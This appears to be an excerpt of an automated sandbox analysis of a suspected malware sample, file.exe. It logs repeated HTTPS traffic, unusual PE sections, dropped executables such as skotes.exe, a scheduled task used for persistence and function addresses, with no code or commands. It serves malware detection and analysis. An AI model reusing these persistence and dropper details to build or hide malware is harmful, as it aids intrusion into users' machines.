Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019

Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.10:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.10:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.74.19.45:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.74.19.45:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.74.19.45:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50148 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name:
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.31.dr	Static PE information: section name:
Source: skotes.exe.31.dr	Static PE information: section name: .idata
Source: skotes.exe.31.dr	Static PE information: section name:
Source: 75ca5498ad.exe.35.dr	Static PE information: section name:
Source: 75ca5498ad.exe.35.dr	Static PE information: section name: .idata
Source: 75ca5498ad.exe.35.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9CB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C9CB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C9CB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C96F280

Source: C:\Users\user\DocumentsBFHDHJKKJD.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9635A0	0_2_6C9635A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C976C80	0_2_6C976C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C34A0	0_2_6C9C34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CC4A0	0_2_6C9CC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D4D0	0_2_6C98D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9764C0	0_2_6C9764C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A6CF0	0_2_6C9A6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D4E0	0_2_6C96D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A5C10	0_2_6C9A5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2C10	0_2_6C9B2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DAC00	0_2_6C9DAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D542B	0_2_6C9D542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D545C	0_2_6C9D545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975440	0_2_6C975440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A0DD0	0_2_6C9A0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C85F0	0_2_6C9C85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98ED10	0_2_6C98ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C990512	0_2_6C990512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97FD00	0_2_6C97FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C985E90	0_2_6C985E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CE680	0_2_6C9CE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C4EA0	0_2_6C9C4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96BEF0	0_2_6C96BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97FEF0	0_2_6C97FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D76E3	0_2_6C9D76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A7E10	0_2_6C9A7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B5600	0_2_6C9B5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C9E30	0_2_6C9C9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C989E50	0_2_6C989E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A3E50	0_2_6C9A3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2E4E	0_2_6C9B2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C984640	0_2_6C984640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C670	0_2_6C96C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D6E63	0_2_6C9D6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B77A0	0_2_6C9B77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C996FF0	0_2_6C996FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96DFE0	0_2_6C96DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A7710	0_2_6C9A7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C979F00	0_2_6C979F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9960A0	0_2_6C9960A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D50C7	0_2_6C9D50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98C0E0	0_2_6C98C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A58E0	0_2_6C9A58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C977810	0_2_6C977810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB820	0_2_6C9AB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B4820	0_2_6C9B4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C988850	0_2_6C988850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D850	0_2_6C98D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AF070	0_2_6C9AF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A5190	0_2_6C9A5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C2990	0_2_6C9C2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99D9B0	0_2_6C99D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C9A0	0_2_6C96C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98A940	0_2_6C98A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB970	0_2_6C9BB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DB170	0_2_6C9DB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D960	0_2_6C97D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DBA90	0_2_6C9DBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97CAB0	0_2_6C97CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D2AB0	0_2_6C9D2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9622A0	0_2_6C9622A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C994AA0	0_2_6C994AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A8AC0	0_2_6C9A8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C981AF0	0_2_6C981AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AE2F0	0_2_6C9AE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A9A60	0_2_6C9A9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96F380	0_2_6C96F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D53C8	0_2_6C9D53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AD320	0_2_6C9AD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C965340	0_2_6C965340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97C370	0_2_6C97C370
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 35_2_006AE530	35_2_006AE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 35_2_006E8860	35_2_006E8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 35_2_006E7049	35_2_006E7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 35_2_006E78BB	35_2_006E78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 35_2_006E2D10	35_2_006E2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 35_2_006A4DE0	35_2_006A4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 35_2_006E31A8	35_2_006E31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 35_2_006A4B30	35_2_006A4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 35_2_006D7F36	35_2_006D7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 35_2_006E779B	35_2_006E779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C99CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9A94D0 appears 90 times

Source: 75ca5498ad.exe.35.dr	Static PE information: Data appended to the last section found
Source: random[1].exe.0.dr	Static PE information: Data appended to the last section found

